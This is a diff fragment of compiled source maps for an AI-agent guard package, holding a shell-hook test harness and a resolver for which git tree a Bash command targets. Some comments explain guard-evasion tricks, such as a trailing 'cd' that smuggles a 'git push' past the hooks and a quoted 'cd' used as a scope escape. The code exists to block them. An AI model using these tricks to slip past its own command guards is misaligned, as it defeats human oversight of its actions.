fs.mkdirSync(path.dirname(shimAbs), { recursive: true });\n fs.writeFileSync(shimAbs, renderShim(), { mode: 0o755 });\n const subdir = path.join(root, 'packages', 'deep', 'sub');\n fs.mkdirSync(subdir, { recursive: true });\n const r = spawnSync('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });\n return new ShimRun(r.status, r.stdout, r.stderr);\n }\n\n /** A Bash tool payload, as Claude Code sends it on stdin. */\n bashPayload(command: string): string {\n return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });\n }\n\n /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */\n readPayload(filePath: string): string {\n return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });\n }\n\n /** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */\n filePayload(toolName: string, filePath: string): string {\n return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });\n }\n\n /** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */\n ereMatches(ere: string, cmd: string): boolean {\n return this.ereMatchSet(ere, [cmd]).matched(cmd);\n }\n\n /**\n * Which of `cmds` that same `grep -E` matches — answered in ONE grep process for the whole batch.\n *\n * grep is a line matcher, so feeding N commands as N lines asks exactly the question `-Eq` answers\n * per command; the engine, the ERE and the anchors are unchanged. What changes is cost: a process\n * spawn is ~5ms on an idle machine but ~100ms when the suite runs projects in parallel, so a\n * 16-command twin check used to be 16 spawns (~2s of pure spawn latency) for one grep pass. That\n * is what made these files miss the per-test timeout under load.\n */\n ereMatchSet(ere: string, cmds: readonly string[]): EreMatchSet {\n for (const cmd of cmds) {\n // A command carrying a newline would arrive at grep as TWO lines and be judged as two\n // different commands — a silently wrong answer. Nothing in the allowlists does this.\n if (cmd.includes('\\n')) throw new Error(`ereMatchSet cannot batch a multi-line command: ${JSON.stringify(cmd)}`);\n }\n const result = spawnSync('grep', ['-E', ere], { input: cmds.join('\\n'), encoding: 'utf8' });\n const hits = new Set((result.stdout ?? '').split('\\n').filter((line: string): boolean => line !== ''));\n return new EreMatchSet(hits);\n }\n}\n\n/** The lines `grep -E` matched in one batched run — ask it per command with {@link matched}. */\nexport class EreMatchSet {\n private readonly hits: ReadonlySet<string>;\n\n constructor(hits: ReadonlySet<string>) {\n this.hits = hits;\n }\n\n matched(cmd: string): boolean {\n return this.hits.has(cmd);\n }\n}\n"]}
1
+ {"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as os from 'os';\nimport * as path from 'path';\nimport { spawnSync } from 'child_process';\nimport { renderShim } from './shim';\n\n/**\n * The shim's PreToolUse deny payload, as it prints it on stdout. Named (not an inline literal on the\n * JSON.parse cast) so the wire shape this testkit depends on is stated once, in one place.\n */\nexport class HookSpecificOutput {\n constructor(public readonly permissionDecisionReason: string) {}\n}\n\n/** The decision envelope wrapping {@link HookSpecificOutput}. */\nexport class PreToolUseDecision {\n constructor(public readonly hookSpecificOutput: HookSpecificOutput) {}\n}\n\n/** The outcome of one shim invocation. Data-only → a class, per CLAUDE.md. */\nexport class ShimRun {\n constructor(\n public readonly status: number | null,\n public readonly stdout: string,\n public readonly stderr: string,\n ) {}\n\n /** True when the shim emitted a PreToolUse deny. */\n isDenied(): boolean {\n return this.stdout.includes('\"permissionDecision\":\"deny\"');\n }\n\n /**\n * The deny REASON, parsed out of the PreToolUse JSON.\n * @throws if this run was not a deny (there is no reason to read).\n */\n denyReason(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n const decision = JSON.parse(this.stdout) as PreToolUseDecision;\n return decision.hookSpecificOutput.permissionDecisionReason;\n }\n}\n\n/**\n * ShimTestkit — the shared harness for driving the rendered shim through a REAL /bin/sh.\n *\n * Extracted so setup.spec.ts and shim-drift.spec.ts drive the shim the SAME way instead of each\n * keeping its own copy: the shim's entire contract is \"what /bin/sh actually does with it\", so two\n * drifting harnesses would silently become two different contracts.\n *\n * An instance class (not module-scope functions) because this is normal source to the linter — only\n * *.spec.ts is exempt from no-function-outside-class, and a testkit should not need a disable comment\n * to exist.\n */\nexport class ShimTestkit {\n /** A throwaway repo root under the OS temp dir. */\n mktmp(): string {\n return fs.mkdtempSync(path.join(os.tmpdir(), 'wp-setup-'));\n }\n\n /**\n * Run the rendered shim exactly as Claude Code would: `sh <shim> <bin> ...`, from a repo cwd,\n * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.\n */\n runShim(root: string, bin: string, stdin: string): ShimRun {\n // Place the shim at its REAL relative location (<root>/.claude/webpieces/ai-hook.sh) so its\n // self-location (`dirname $0/../..` → <root>) resolves the bin correctly. Run it from a SUBDIR\n // to prove it does not depend on the caller's cwd.\n const shimAbs = path.join(root, '.claude', 'webpieces', 'ai-hook.sh');\n fs.mkdirSync(path.dirname(shimAbs), { recursive: true });\n fs.writeFileSync(shimAbs, renderShim(), { mode: 0o755 });\n const subdir = path.join(root, 'packages', 'deep', 'sub');\n fs.mkdirSync(subdir, { recursive: true });\n const r = spawnSync('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });\n return new ShimRun(r.status, r.stdout, r.stderr);\n }\n\n /**\n * A repo root staged so the shim's VERSION-DRIFT check (fault D) fires: an installed guard bin, a\n * declared @webpieces/pr-gate pin in package.json, and a different installed version in\n * node_modules. The fake bin prints EXECED, so \"the guards actually ran\" is observable in stdout —\n * pass matching versions to stage the no-drift case instead.\n *\n * Lives here rather than in one spec because two spec files now need the identical staging, and a\n * second copy is a second definition of what \"drift\" means.\n */\n stageDriftRoot(declared: string, installed: string): string {\n const root = this.mktmp();\n const binDir = path.join(root, 'node_modules', '.bin');\n fs.mkdirSync(binDir, { recursive: true });\n fs.writeFileSync(path.join(binDir, 'wp-ai-guards-hook'), '#!/bin/sh\\nprintf EXECED\\n', { mode: 0o755 });\n fs.writeFileSync(path.join(root, 'package.json'),\n JSON.stringify({ dependencies: { '@webpieces/pr-gate': declared } }, null, 2) + '\\n');\n const manifestDir = path.join(root, 'node_modules', '@webpieces', 'pr-gate');\n fs.mkdirSync(manifestDir, { recursive: true });\n fs.writeFileSync(path.join(manifestDir, 'package.json'),\n JSON.stringify({ name: '@webpieces/pr-gate', version: installed }, null, 2) + '\\n');\n return root;\n }\n\n /** A Bash tool payload, as Claude Code sends it on stdin. */\n bashPayload(command: string): string {\n return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });\n }\n\n /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */\n readPayload(filePath: string): string {\n return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });\n }\n\n /** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */\n filePayload(toolName: string, filePath: string): string {\n return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });\n }\n\n /** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */\n ereMatches(ere: string, cmd: string): boolean {\n return this.ereMatchSet(ere, [cmd]).matched(cmd);\n }\n\n /**\n * Which of `cmds` that same `grep -E` matches — answered in ONE grep process for the whole batch.\n *\n * grep is a line matcher, so feeding N commands as N lines asks exactly the question `-Eq` answers\n * per command; the engine, the ERE and the anchors are unchanged. What changes is cost: a process\n * spawn is ~5ms on an idle machine but ~100ms when the suite runs projects in parallel, so a\n * 16-command twin check used to be 16 spawns (~2s of pure spawn latency) for one grep pass. That\n * is what made these files miss the per-test timeout under load.\n */\n ereMatchSet(ere: string, cmds: readonly string[]): EreMatchSet {\n for (const cmd of cmds) {\n // A command carrying a newline would arrive at grep as TWO lines and be judged as two\n // different commands — a silently wrong answer. Nothing in the allowlists does this.\n if (cmd.includes('\\n')) throw new Error(`ereMatchSet cannot batch a multi-line command: ${JSON.stringify(cmd)}`);\n }\n const result = spawnSync('grep', ['-E', ere], { input: cmds.join('\\n'), encoding: 'utf8' });\n const hits = new Set((result.stdout ?? '').split('\\n').filter((line: string): boolean => line !== ''));\n return new EreMatchSet(hits);\n }\n}\n\n/** The lines `grep -E` matched in one batched run — ask it per command with {@link matched}. */\nexport class EreMatchSet {\n private readonly hits: ReadonlySet<string>;\n\n constructor(hits: ReadonlySet<string>) {\n this.hits = hits;\n }\n\n matched(cmd: string): boolean {\n return this.hits.has(cmd);\n }\n}\n"]}
@@ -1 +1 @@
1
- {"version":3,"file":"effective-tree.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/effective-tree.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\nimport { spawnSync } from 'child_process';\n\nimport { WorktreeService, Worktree } from '@webpieces/rules-config';\n\nimport { CommandScanner } from './command-scan';\nimport { ShellSegmentScan } from './rules/shell-segment-scan';\n\n/**\n * WHICH TREE does a Bash command actually act on? The ONE resolver every bash guard and the\n * force-to-root check share.\n *\n * WHY it has to exist at all: the shell cwd a PreToolUse hook is handed does not tell you which tree\n * the command acts on. `cd` behaves TWO different ways, and both break a cwd-based guard:\n *\n * - A `cd` that stays INSIDE the session's working directory PERSISTS to later calls. So the cwd\n * can be a subdirectory of the governed root, left there by an unrelated command several turns\n * earlier — a relative path then resolves somewhere other than the root while still being in the\n * governed tree.\n * - A `cd` that LEAVES it is reset by the harness, which says so (`Shell cwd was reset to <root>`).\n * So an agent working in a linked worktree is back in the primary clone by the next call and must\n * write self-contained `cd <worktree> && …` commands — and the cwd the hook sees is the primary\n * clone, not the worktree the command targets.\n *\n * (Measured on 2026-08-02: `cd backlog && pwd` → `…/backlog`, then a bare `pwd` in a FRESH call →\n * still `…/backlog`. But `cd ../<linked-worktree> && pwd` → the worktree, then a bare `pwd` → back at\n * the primary clone. An earlier version of this comment asserted `cd` never persists; that was the\n * worktree case generalized. The conclusion below is unchanged — only the reason was wrong.)\n *\n * Either way a guard that reasons from the raw cwd judges the wrong tree. Three field sightings in\n * one session:\n * an `ls` of a path outside every repo blocked as \"this branch is merged\"; a version-drift cure\n * (`pnpm install`) that could not be typed from the directory that needed it; and a command aimed at\n * `/private/tmp` blocked because the PRIMARY clone's main was behind — with a remedy (`git pull` in\n * the primary clone) the agent had been explicitly forbidden to run.\n *\n * Two separate copies of the cwd logic used to exist (the runner's foreign-repo/excludePaths check\n * and force-to-root). They are both this class now: two resolvers WILL disagree about which tree you\n * are in, and a guard that disagrees with the guard beside it is worse than either being wrong.\n *\n * Resolution, in order:\n * 1. `effectiveCwd` — the leading run of `cd`/`pushd` in the command itself, resolved left to right.\n * 2. If that sits under the governed root, the tree is the governed root unless git says the\n * directory belongs to a DIFFERENT repo (a nested clone under `repositories/**`) → foreign.\n * 3. Otherwise ask git for the worktree list. A LINKED WORKTREE of the governed repo is MANAGED —\n * it is the same project, just another checkout — so guards run, keyed on THAT tree's branch and\n * its own `.webpieces/` cache. Before this, a linked worktree read as a different git toplevel\n * and so as FOREIGN, which silently disabled every guard for `cd <worktree> && …` commands.\n * 4. Anything else that is a git repo → foreign (out of scope, hands-off, as before).\n * 5. Not a git repo at all (`cd /tmp && …`) → OUTSIDE. The guards still run — an absolute path back\n * into the repo must still be judged — but nothing the command names relative to `/tmp` is\n * workspace content, which is what ContentReadScan uses `effectiveCwd` for.\n */\n// L1's K dimension. 'primary' and 'worktree' are never distinguished by a guard (a linked worktree is\n// the same project) — GUARD_MATRIX.md at the repo root writes them as one value, `pw`.\n//\n// 'outside' is produced below (gitRoot === null) and consumed NOWHERE, so a command in no git repo is\n// judged against governedRoot — a repo it is not in. GUARD_MATRIX.md's \"Not done\" section explains why\n// exempting it must ship together with target-based jurisdiction, never alone.\nexport type TreeKind = 'primary' | 'worktree' | 'foreign' | 'outside';\n\n/** Data-only (per CLAUDE.md, classes for data). */\nexport class EffectiveTree {\n /** The pre-`cd` cwd the hook was handed. For an agent in a worktree this is the primary clone. */\n readonly shellCwd: string;\n /** The directory the command really runs in, after its own leading `cd`/`pushd` run. */\n readonly effectiveCwd: string;\n /** The tree root to JUDGE: the owning worktree root, the foreign repo root, or the governed root. */\n readonly root: string;\n /** The root that owns webpieces.config.json — where config and excludePaths come from. */\n readonly governedRoot: string;\n readonly kind: TreeKind;\n /** The command acts on a tree other than the shell's own — messages must steer with `cd <root> &&`. */\n readonly redirected: boolean;\n\n constructor(shellCwd: string, effectiveCwd: string, root: string, governedRoot: string, kind: TreeKind) {\n this.shellCwd = shellCwd;\n this.effectiveCwd = effectiveCwd;\n this.root = root;\n this.governedRoot = governedRoot;\n this.kind = kind;\n this.redirected = path.resolve(root) !== path.resolve(shellCwd);\n }\n}\n\nexport class EffectiveTreeResolver {\n private readonly worktrees = new WorktreeService();\n private readonly shell: ShellSegmentScan;\n\n constructor(private readonly scanner: CommandScanner = new CommandScanner()) {\n this.shell = new ShellSegmentScan(scanner);\n }\n\n resolve(command: string, shellCwd: string, governedRoot: string): EffectiveTree {\n const effectiveCwd = this.effectiveCwd(command, shellCwd);\n const kindAndRoot = this.classify(effectiveCwd, governedRoot);\n return new EffectiveTree(shellCwd, effectiveCwd, kindAndRoot.root, governedRoot, kindAndRoot.kind);\n }\n\n /**\n * The cwd a command actually runs from, resolving a LEADING run of `cd`/`pushd` in the command.\n *\n * ONLY a leading run counts. Once a non-cd command appears it has ALREADY run in the current dir,\n * so a later `cd` must not retroactively pull it out of scope — otherwise a trailing\n * `… && cd <exempt-tree>` would exempt the WHOLE line, smuggling a root-level `git push` past the\n * guards. `cd a && cd b && git …` resolves left to right, matching the shell.\n *\n * Segmentation is ShellSegmentScan's (over CommandScanner), so quoting is handled exactly as the\n * guards handle it: `echo \"cd sub && git push\"` is ONE opaque segment whose first word is `echo`,\n * so the quoted `cd` is never picked up and cannot be weaponised into a scope escape.\n */\n effectiveCwd(command: string, shellCwd: string): string {\n let effective = shellCwd;\n for (const segment of this.scanner.commandSegments(command)) {\n const words = this.shell.effectiveWords(segment);\n if (words[0] !== 'cd' && words[0] !== 'pushd') break;\n if (words[1] !== undefined) effective = path.resolve(effective, words[1]);\n }\n return effective;\n }\n\n private classify(effectiveCwd: string, governedRoot: string): TreeClassification {\n // Fast path — no `cd`, or a `cd` within the governed 